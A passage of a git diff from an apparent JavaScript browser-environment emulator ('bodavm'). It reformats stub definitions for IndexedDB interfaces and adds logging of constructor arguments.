{configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "count", {configurable:true, enumerable:true, writable:true, value:function count (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "count", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "createIndex", {configurable:true, enumerable:true, writable:true, value:function createIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "createIndex", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "deleteIndex", {configurable:true, enumerable:true, writable:true, value:function deleteIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "deleteIndex", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAllKeys", {configurable:true, enumerable:true, writable:true, value:function getAllKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAllKeys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getKey", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "index", {configurable:true, enumerable:true, writable:true, value:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "index", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "openCursor", {configurable:true, enumerable:true, writable:true, value:function openCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openCursor", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "openKeyCursor", {configurable:true, enumerable:true, writable:true, value:function openKeyCursor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openKeyCursor", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('IDBObjectStore', "put", {configurable:true, enumerable:true, writable:true, value:function put (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "put", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('IDBObjectStore', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "keyPath", { + configurable: true, + enumerable: true, + get: function keyPath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "keyPath_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "indexNames", { + configurable: true, + enumerable: true, + get: function indexNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "indexNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "transaction", { + configurable: true, + enumerable: true, + get: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "transaction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "autoIncrement", { + configurable: true, + enumerable: true, + get: function autoIncrement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "autoIncrement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "count", { + configurable: true, + enumerable: true, + writable: true, + value: function count() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "count", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "createIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function createIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "createIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "deleteIndex", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "deleteIndex", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getAllKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getAllKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "getKey", { + configurable: true, + enumerable: true, + writable: true, + value: function getKey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "getKey", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "index", { + configurable: true, + enumerable: true, + writable: true, + value: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "index", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "openKeyCursor", { + configurable: true, + enumerable: true, + writable: true, + value: function openKeyCursor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "openKeyCursor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBObjectStore', "put", { + configurable: true, + enumerable: true, + writable: true, + value: function put() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBObjectStore'].prototype, "IDBObjectStore", "put", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBOpenDBRequest.js b/env_xbb_lastest_jsdom/env/IDBOpenDBRequest.js index fc56cc3b..fb45080c 100644 --- a/env_xbb_lastest_jsdom/env/IDBOpenDBRequest.js +++ b/env_xbb_lastest_jsdom/env/IDBOpenDBRequest.js @@ -1,7 +1,39 @@ -// IDBOpenDBRequest对象 -bodavm.memory.globalobj['IDBOpenDBRequest'] = function IDBOpenDBRequest(){if (!(this instanceof IDBOpenDBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBOpenDBRequest'], "IDBOpenDBRequest"); -bodavm.memory.globalobj['IDBOpenDBRequest'].prototype.__proto__=bodavm.memory.globalobj['IDBRequest'].prototype; -bodavm.memory.globalobj['IDBOpenDBRequest'].__proto__=bodavm.memory.globalobj['IDBRequest']; -bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onblocked", {configurable:true, enumerable:true, get:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_get", arguments)}, set:function onblocked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onupgradeneeded", {configurable:true, enumerable:true, get:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_get", arguments)}, set:function onupgradeneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_set", arguments)}},'prototype'); +// IDBOpenDBRequest对象 + +bodavm.memory.globalobj['IDBOpenDBRequest'] = function IDBOpenDBRequest() { + console.log_copy('IDBOpenDBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBOpenDBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBOpenDBRequest'], "IDBOpenDBRequest"); +bodavm.memory.globalobj['IDBOpenDBRequest'].prototype.__proto__ = bodavm.memory.globalobj['IDBRequest'].prototype; +bodavm.memory.globalobj['IDBOpenDBRequest'].__proto__ = bodavm.memory.globalobj['IDBRequest']; +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onblocked", { + configurable: true, + enumerable: true, + get: function onblocked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_get", arguments); + }, + set: function onblocked() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onblocked_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBOpenDBRequest', "onupgradeneeded", { + configurable: true, + enumerable: true, + get: function onupgradeneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_get", arguments); + }, + set: function onupgradeneeded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBOpenDBRequest'].prototype, "IDBOpenDBRequest", "onupgradeneeded_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBRequest.js b/env_xbb_lastest_jsdom/env/IDBRequest.js index 461cee52..15a6d139 100644 --- a/env_xbb_lastest_jsdom/env/IDBRequest.js +++ b/env_xbb_lastest_jsdom/env/IDBRequest.js @@ -1,12 +1,79 @@ -// IDBRequest对象 -bodavm.memory.globalobj['IDBRequest'] = function IDBRequest(){if (!(this instanceof IDBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBRequest'], "IDBRequest"); -bodavm.memory.globalobj['IDBRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBRequest', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "source", {configurable:true, enumerable:true, get:function source (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "source_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "transaction", {configurable:true, enumerable:true, get:function transaction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "transaction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "onsuccess", {configurable:true, enumerable:true, get:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_get", arguments)}, set:function onsuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBRequest', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_set", arguments)}},'prototype'); +// IDBRequest对象 + +bodavm.memory.globalobj['IDBRequest'] = function IDBRequest() { + console.log_copy('IDBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBRequest'], "IDBRequest"); +bodavm.memory.globalobj['IDBRequest'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBRequest'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBRequest', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "transaction", { + configurable: true, + enumerable: true, + get: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "transaction_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onsuccess", { + configurable: true, + enumerable: true, + get: function onsuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_get", arguments); + }, + set: function onsuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onsuccess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBRequest', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBRequest'].prototype, "IDBRequest", "onerror_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBTransaction.js b/env_xbb_lastest_jsdom/env/IDBTransaction.js index 57acb80f..cf337fe5 100644 --- a/env_xbb_lastest_jsdom/env/IDBTransaction.js +++ b/env_xbb_lastest_jsdom/env/IDBTransaction.js @@ -1,16 +1,113 @@ -// IDBTransaction对象 -bodavm.memory.globalobj['IDBTransaction'] = function IDBTransaction(){if (!(this instanceof IDBTransaction)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBTransaction'], "IDBTransaction"); -bodavm.memory.globalobj['IDBTransaction'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['IDBTransaction'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStoreNames", {configurable:true, enumerable:true, get:function objectStoreNames (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStoreNames_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "durability", {configurable:true, enumerable:true, get:function durability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "durability_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "db", {configurable:true, enumerable:true, get:function db (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "db_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "oncomplete", {configurable:true, enumerable:true, get:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_get", arguments)}, set:function oncomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "commit", {configurable:true, enumerable:true, writable:true, value:function commit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "commit", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStore", {configurable:true, enumerable:true, writable:true, value:function objectStore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStore", arguments)}},'prototype'); +// IDBTransaction对象 + +bodavm.memory.globalobj['IDBTransaction'] = function IDBTransaction() { + console.log_copy('IDBTransaction 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof IDBTransaction)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBTransaction'], "IDBTransaction"); +bodavm.memory.globalobj['IDBTransaction'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['IDBTransaction'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStoreNames", { + configurable: true, + enumerable: true, + get: function objectStoreNames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStoreNames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "durability", { + configurable: true, + enumerable: true, + get: function durability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "durability_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "db", { + configurable: true, + enumerable: true, + get: function db() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "db_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "oncomplete", { + configurable: true, + enumerable: true, + get: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_get", arguments); + }, + set: function oncomplete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "oncomplete_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "commit", { + configurable: true, + enumerable: true, + writable: true, + value: function commit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "commit", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('IDBTransaction', "objectStore", { + configurable: true, + enumerable: true, + writable: true, + value: function objectStore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBTransaction'].prototype, "IDBTransaction", "objectStore", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/IDBVersionChangeEvent.js b/env_xbb_lastest_jsdom/env/IDBVersionChangeEvent.js index de81050c..30df6f64 100644 --- a/env_xbb_lastest_jsdom/env/IDBVersionChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/IDBVersionChangeEvent.js @@ -1,9 +1,51 @@ -// IDBVersionChangeEvent对象 -bodavm.memory.globalobj['IDBVersionChangeEvent'] = function IDBVersionChangeEvent(){if (!(this instanceof IDBVersionChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IDBVersionChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IDBVersionChangeEvent'], "IDBVersionChangeEvent"); -bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['IDBVersionChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "oldVersion", {configurable:true, enumerable:true, get:function oldVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "oldVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "newVersion", {configurable:true, enumerable:true, get:function newVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "newVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLoss", {configurable:true, enumerable:true, get:function dataLoss (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLoss_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IDBVersionChangeEvent', "dataLossMessage", {configurable:true, enumerable:true, get:function dataLossMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IDBVersionChangeEvent'].prototype, "IDBVersionChangeEvent", "dataLossMessage_get", arguments)}, set:undefined},'prototype'); +// IDBVersionChangeEvent对象 + +bodavm.memory.globalobj['IDBVersionChangeEvent'] = function IDBVersionChangeEvent() { + console.log_copy('IDBVersionChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof 